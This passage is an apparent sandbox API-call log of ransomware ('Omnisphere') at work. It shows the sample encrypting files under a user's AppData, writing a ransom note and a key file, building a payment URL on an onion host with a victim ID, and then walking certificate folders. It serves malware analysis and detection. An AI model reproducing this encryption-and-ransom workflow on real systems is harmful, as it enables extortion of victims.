"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat.omnisphere")) returned 1 [0117.253] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere.id" [0117.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0117.262] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0117.263] CloseHandle (hObject=0x388) returned 1 [0117.266] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.266] CloseHandle (hObject=0x3c0) returned 1 [0117.266] SetEndOfFile (hFile=0x288) returned 1 [0117.266] FlushFileBuffers (hFile=0x288) returned 1 [0117.272] CloseHandle (hObject=0x288) returned 1 [0117.276] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons") returned 1 [0117.276] GetProcessHeap () returned 0x1600000 [0117.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16958c0 [0117.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.276] GetProcessHeap () returned 0x1600000 [0117.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693d00 [0117.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693d00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.277] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.277] GetProcessHeap () returned 0x1600000 [0117.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16872e8 [0117.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16872e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.277] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.277] GetProcessHeap () returned 0x1600000 [0117.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c528 [0117.277] PathCombineW (in: pszDest=0x162c528, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\!DECRYPT_OMNISPHERE.txt" [0117.277] GetProcessHeap () returned 0x1600000 [0117.277] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168daa8 [0117.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.278] WriteFile (in: hFile=0x288, lpBuffer=0x168daa8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x168daa8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0117.279] CloseHandle (hObject=0x288) returned 1 [0117.280] GetProcessHeap () returned 0x1600000 [0117.280] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16958c0 | out: hHeap=0x1600000) returned 1 [0117.280] GetProcessHeap () returned 0x1600000 [0117.280] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbc) returned 0x16415f0 [0117.280] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\unique_decrypt.key" [0117.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.281] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0117.282] CloseHandle (hObject=0x288) returned 1 [0117.283] GetProcessHeap () returned 0x1600000 [0117.283] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0117.283] GetProcessHeap () returned 0x1600000 [0117.283] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0117.283] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x3ac, dwReserved0=0x0, dwReserved1=0xce, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat", cAlternateFileName="SP_31F~1.DAT")) returned 0 [0117.283] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0117.283] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0x26ffba80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ffba80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0117.284] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0x26ffba80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ffba80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ffba80, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26ffba80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ffba80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0x26fd58ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere", cAlternateFileName="SP_31F~1.OMN")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26fd58ee, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26fd58ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26fd58ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere.id", cAlternateFileName="SP_31F~1.ID")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ffba80, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26ffba80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ffba80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ffba80, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26ffba80, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ffba80, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0117.284] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0117.284] GetProcessHeap () returned 0x1600000 [0117.284] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16560e8 | out: hHeap=0x1600000) returned 1 [0117.284] GetProcessHeap () returned 0x1600000 [0117.284] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e188 | out: hHeap=0x1600000) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 0 [0117.284] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.284] GetProcessHeap () returned 0x1600000 [0117.284] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16681b8 | out: hHeap=0x1600000) returned 1 [0117.284] GetProcessHeap () returned 0x1600000 [0117.285] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668ce0 | out: hHeap=0x1600000) returned 1 [0117.285] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Files", cAlternateFileName="")) returned 0 [0117.285] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0117.285] GetProcessHeap () returned 0x1600000 [0117.285] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1640080 | out: hHeap=0x1600000) returned 1 [0117.285] GetProcessHeap () returned 0x1600000 [0117.285] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0117.285] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0117.285] GetProcessHeap () returned 0x1600000 [0117.285] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163f180 [0117.285] PathCombineW (in: pszDest=0x163f180, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Stationery" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery" [0117.285] GetProcessHeap () returned 0x1600000 [0117.285] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x1668570 [0117.285] PathCombineW (in: pszDest=0x1668570, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\*" [0117.285] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.286] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0117.286] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.286] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Stationery\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0117.286] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0117.286] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0117.286] GetProcessHeap () returned 0x1600000 [0117.286] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668570 | out: hHeap=0x1600000) returned 1 [0117.286] GetProcessHeap () returned 0x1600000 [0117.286] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f180 | out: hHeap=0x1600000) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0117.286] GetProcessHeap () returned 0x1600000 [0117.286] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x1633138 [0117.287] PathCombineW (in: pszDest=0x1633138, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="SystemCertificates" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0117.287] GetProcessHeap () returned 0x1600000 [0117.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x167bef8 [0117.287] PathCombineW (in: pszDest=0x167bef8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" [0117.287] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0117.287] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.287] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="My", cAlternateFileName="")) returned 1 [0117.287] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="My", cAlternateFileName="")) returned 0 [0117.287] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0117.287] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.287] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.287] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6243272, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="My", cAlternateFileName="")) returned 1 [0117.287] GetProcessHeap () returned 0x1600000 [0117.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x167b740 [0117.288] PathCombineW (in: pszDest=0x167b740, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates", pszFile="My" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0117.288] GetProcessHeap () returned 0x1600000 [0117.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e048 [0117.288] PathCombineW (in: pszDest=0x165e048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" [0117.288] FindFirstFileW (in: 